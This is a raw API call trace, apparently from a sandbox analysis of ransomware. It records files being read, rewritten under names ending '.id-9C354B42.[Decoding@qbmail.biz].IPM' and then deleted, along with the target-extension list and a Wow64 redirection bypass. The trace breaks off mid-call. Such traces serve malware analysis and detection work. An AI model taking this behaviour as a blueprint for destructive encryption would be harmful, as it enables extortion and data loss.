(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0094.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0094.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0094.325] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.325] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0094.326] GetLastError () returned 0x0 [0094.326] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x74e5, lpOverlapped=0x0) returned 1 [0094.329] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0094.331] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0094.332] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.332] SetEndOfFile (hFile=0x1d8) returned 1 [0094.332] CloseHandle (hObject=0x1d8) returned 1 [0094.332] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.332] SetEndOfFile (hFile=0x204) returned 1 [0094.545] CloseHandle (hObject=0x204) returned 1 [0094.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0094.546] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0094.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0094.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0094.546] lstrlenW (lpString=".doc") returned 4 [0094.546] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0094.546] lstrlenW (lpString=".docx") returned 5 [0094.546] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0094.546] lstrlenW (lpString=".pdf") returned 4 [0094.546] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0094.547] lstrlenW (lpString=".xls") returned 4 [0094.547] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0094.547] lstrlenW (lpString=".xlsx") returned 5 [0094.547] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0094.547] lstrlenW (lpString=".ppt") returned 4 [0094.547] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0094.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0094.547] lstrlenW (lpString=".zip") returned 4 [0094.547] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0094.547] lstrlenW (lpString=".rar") returned 4 [0094.547] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0094.547] lstrlenW (lpString=".bz2") returned 4 [0094.547] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0094.547] lstrlenW (lpString=".7z") returned 3 [0094.547] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0094.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0094.547] lstrlenW (lpString=".dbf") returned 4 [0094.547] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0094.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0094.547] lstrlenW (lpString=".1cd") returned 4 [0094.547] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0094.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0094.547] lstrlenW (lpString=".jpg") returned 4 [0094.547] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0094.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0094.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0094.548] lstrlenW (lpString=".doc") returned 4 [0094.548] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0094.548] lstrlenW (lpString=".docx") returned 5 [0094.548] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0094.548] lstrlenW (lpString=".pdf") returned 4 [0094.548] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0094.548] lstrlenW (lpString=".xls") returned 4 [0094.548] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0094.548] lstrlenW (lpString=".xlsx") returned 5 [0094.548] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0094.548] lstrlenW (lpString=".ppt") returned 4 [0094.548] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0094.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0094.548] lstrlenW (lpString=".zip") returned 4 [0094.548] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0094.548] lstrlenW (lpString=".rar") returned 4 [0094.548] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0094.548] lstrlenW (lpString=".bz2") returned 4 [0094.548] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0094.548] lstrlenW (lpString=".7z") returned 3 [0094.548] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0094.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0094.548] lstrlenW (lpString=".dbf") returned 4 [0094.548] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0094.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0094.548] lstrlenW (lpString=".1cd") returned 4 [0094.548] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0094.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0094.549] lstrlenW (lpString=".jpg") returned 4 [0094.549] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0094.595] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0094.595] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0094.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0095.181] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=20575) returned 1 [0095.181] CloseHandle (hObject=0x18c) returned 1 [0095.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0095.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0095.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0095.181] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0095.181] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0095.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0095.182] GetLastError () returned 0x0 [0095.182] ReadFile (in: hFile=0x18c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x505f, lpOverlapped=0x0) returned 1 [0095.354] WriteFile (in: hFile=0x210, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x5060, lpOverlapped=0x0) returned 1 [0095.356] ReadFile (in: hFile=0x18c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0095.356] WriteFile (in: hFile=0x210, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.356] SetEndOfFile (hFile=0x210) returned 1 [0095.356] CloseHandle (hObject=0x210) returned 1 [0095.356] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0095.356] SetEndOfFile (hFile=0x18c) returned 1 [0095.357] CloseHandle (hObject=0x18c) returned 1 [0095.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0095.357] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0095.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0095.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0095.358] lstrlenW (lpString=".doc") returned 4 [0095.358] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0095.358] lstrlenW (lpString=".docx") returned 5 [0095.358] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0095.358] lstrlenW (lpString=".pdf") returned 4 [0095.358] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0095.358] lstrlenW (lpString=".xls") returned 4 [0095.358] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0095.358] lstrlenW (lpString=".xlsx") returned 5 [0095.358] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0095.358] lstrlenW (lpString=".ppt") returned 4 [0095.358] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0095.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0095.358] lstrlenW (lpString=".zip") returned 4 [0095.358] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0095.358] lstrlenW (lpString=".rar") returned 4 [0095.358] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0095.358] lstrlenW (lpString=".bz2") returned 4 [0095.358] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0095.358] lstrlenW (lpString=".7z") returned 3 [0095.358] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0095.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0095.358] lstrlenW (lpString=".dbf") returned 4 [0095.358] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0095.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0095.358] lstrlenW (lpString=".1cd") returned 4 [0095.358] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0095.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0095.358] lstrlenW (lpString=".jpg") returned 4 [0095.358] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0095.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0095.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0095.359] lstrlenW (lpString=".doc") returned 4 [0095.359] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0095.359] lstrlenW (lpString=".docx") returned 5 [0095.359] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0095.359] lstrlenW (lpString=".pdf") returned 4 [0095.359] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0095.359] lstrlenW (lpString=".xls") returned 4 [0095.359] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0095.359] lstrlenW (lpString=".xlsx") returned 5 [0095.359] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0095.359] lstrlenW (lpString=".ppt") returned 4 [0095.359] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0095.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0095.359] lstrlenW (lpString=".zip") returned 4 [0095.359] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0095.359] lstrlenW (lpString=".rar") returned 4 [0095.359] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0095.359] lstrlenW (lpString=".bz2") returned 4 [0095.359] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0095.359] lstrlenW (lpString=".7z") returned 3 [0095.359] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0095.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0095.359] lstrlenW (lpString=".dbf") returned 4 [0095.359] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0095.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0095.359] lstrlenW (lpString=".1cd") returned 4 [0095.359] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0095.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0095.359] lstrlenW (lpString=".jpg") returned 4 [0095.359] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0095.360] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0095.360] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0095.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0095.360] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=3957) returned 1 [0095.360] CloseHandle (hObject=0x18c) returned 1 [0095.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0095.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0095.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0095.361] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0095.361] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0095.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 11 os_tid = 0x7bc [0068.680] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x680290 [0068.681] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x690298 [0068.681] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fe78 [0068.681] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x65dab8 [0068.682] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fe90 [0068.682] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3640020 [0068.682] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fea8 [0068.682] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fea8, Size=0x20) returned 0x624a40 [0068.682] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fea8 [0068.682] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fea8, Size=0x20) returned 0x624a68 [0068.683] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0068.683] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0068.683] Wow64DisableWow64FsRedirection (in: OldValue=0x2b2ff58 | out: OldValue=0x2b2ff58*=0x0) returned 1 [0068.683] lstrlenW (lpString="kernel32.dll") returned 12 [0068.683] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x624a40 | out: hHeap=0x5d0000) returned 1 [0068.683] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0068.683] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x624a68 | out: hHeap=0x5d0000) returned 1 [0068.683] Sleep (dwMilliseconds=0x64) [0068.952] lstrcmpiW (lpString1=".LOG", lpString2=".IPM") returned 1 [0068.952] lstrlenW (lpString="BCD.LOG") returned 7 [0068.952] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.952] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0068.952] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0068.953] lstrlenW (lpString=".doc") returned 4 [0068.953] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0068.953] lstrlenW (lpString=".docx") returned 5 [0068.953] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0068.953] lstrlenW (lpString=".pdf") returned 4 [0068.953] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0068.953] lstrlenW (lpString=".xls") returned 4 [0068.953] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0068.953] lstrlenW (lpString=".xlsx") returned 5 [0068.953] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0068.953] lstrlenW (lpString=".ppt") returned 4 [0068.953] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0068.953] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0068.953] lstrlenW (lpString=".zip") returned 4 [0068.953] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0068.953] lstrlenW (lpString=".rar") returned 4 [0068.953] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0068.953] lstrlenW (lpString=".bz2") returned 4 [0068.954] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0068.954] lstrlenW (lpString=".7z") returned 3 [0068.954] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0068.954] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0068.954] lstrlenW (lpString=".dbf") returned 4 [0068.954] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0068.954] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0068.954] lstrlenW (lpString=".1cd") returned 4 [0068.954] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0068.954] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0068.954] lstrlenW (lpString=".jpg") returned 4 [0068.954] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0068.954] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0068.954] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0068.954] lstrlenW (lpString=".doc") returned 4 [0068.954] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0068.955] lstrlenW (lpString=".docx") returned 5 [0068.955] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0068.955] lstrlenW (lpString=".pdf") returned 4 [0068.955] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0068.955] lstrlenW (lpString=".xls") returned 4 [0068.955] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0068.955] lstrlenW (lpString=".xlsx") returned 5 [0068.955] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0068.955] lstrlenW (lpString=".ppt") returned 4 [0068.955] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0068.955] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0068.955] lstrlenW (lpString=".zip") returned 4 [0068.955] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0068.955] lstrlenW (lpString=".rar") returned 4 [0068.955] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0068.955] lstrlenW (lpString=".bz2") returned 4 [0068.956] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0068.956] lstrlenW (lpString=".7z") returned 3 [0068.956] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0068.956] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0068.956] lstrlenW (lpString=".dbf") returned 4 [0068.956] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0068.956] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0068.956] lstrlenW (lpString=".1cd") returned 4 [0068.956] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0068.956] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0068.956] lstrlenW (lpString=".jpg") returned 4 [0068.956] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0068.956] lstrcmpiW (lpString1=".DAT", lpString2=".IPM") returned -1 [0068.957] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0068.957] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0069.413] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=65536) returned 1 [0069.413] CloseHandle (hObject=0x190) returned 1 [0069.414] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0069.414] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.414] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 